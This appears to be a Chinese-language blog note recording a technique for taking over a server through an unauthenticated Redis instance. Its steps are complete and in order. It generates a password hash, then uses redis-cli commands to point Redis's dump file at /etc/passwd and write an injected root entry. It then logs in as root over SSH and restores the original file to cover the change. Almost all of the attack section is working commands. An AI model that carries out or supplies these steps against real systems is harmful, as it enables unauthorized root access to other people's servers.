redis未授权访问写/etc/passwd

学到个redis未授权访问getshell的新技巧,记录一下。

前提条件

  • redis以root身份运行
  • 目标系统允许root用户远程登录

原理

  • 若/etc/passwd和/etc/shadow中同时存在密码,系统会使用/etc/passwd中的密码进行验证
  • /etc/passwd-是/etc/passwd的备份,成功登录系统后,通过替换/etc/passwd-文件,可以恢复root用户的原密码

利用过程

  1. 首先生成一串密码为YourNewPasswd%1024的密文
root@kali:~# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
  1. 接下来写入/etc/passwd
redis-cli -h 192.168.80.147
config set dir /etc/
config set dbfilename passwd
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
save
  1. 写入完成后,使用root/YourNewPasswd%1024可成功连接ssh
  2. 最后再替换下/etc/passwd-,就又恢复成root用户的原密码了
[root@localhost ~]# cp /etc/passwd- /etc/passwd
image.png

参考

https://www.freebuf.com/vuls/148758.html

你可能感兴趣的:(redis未授权访问写/etc/passwd)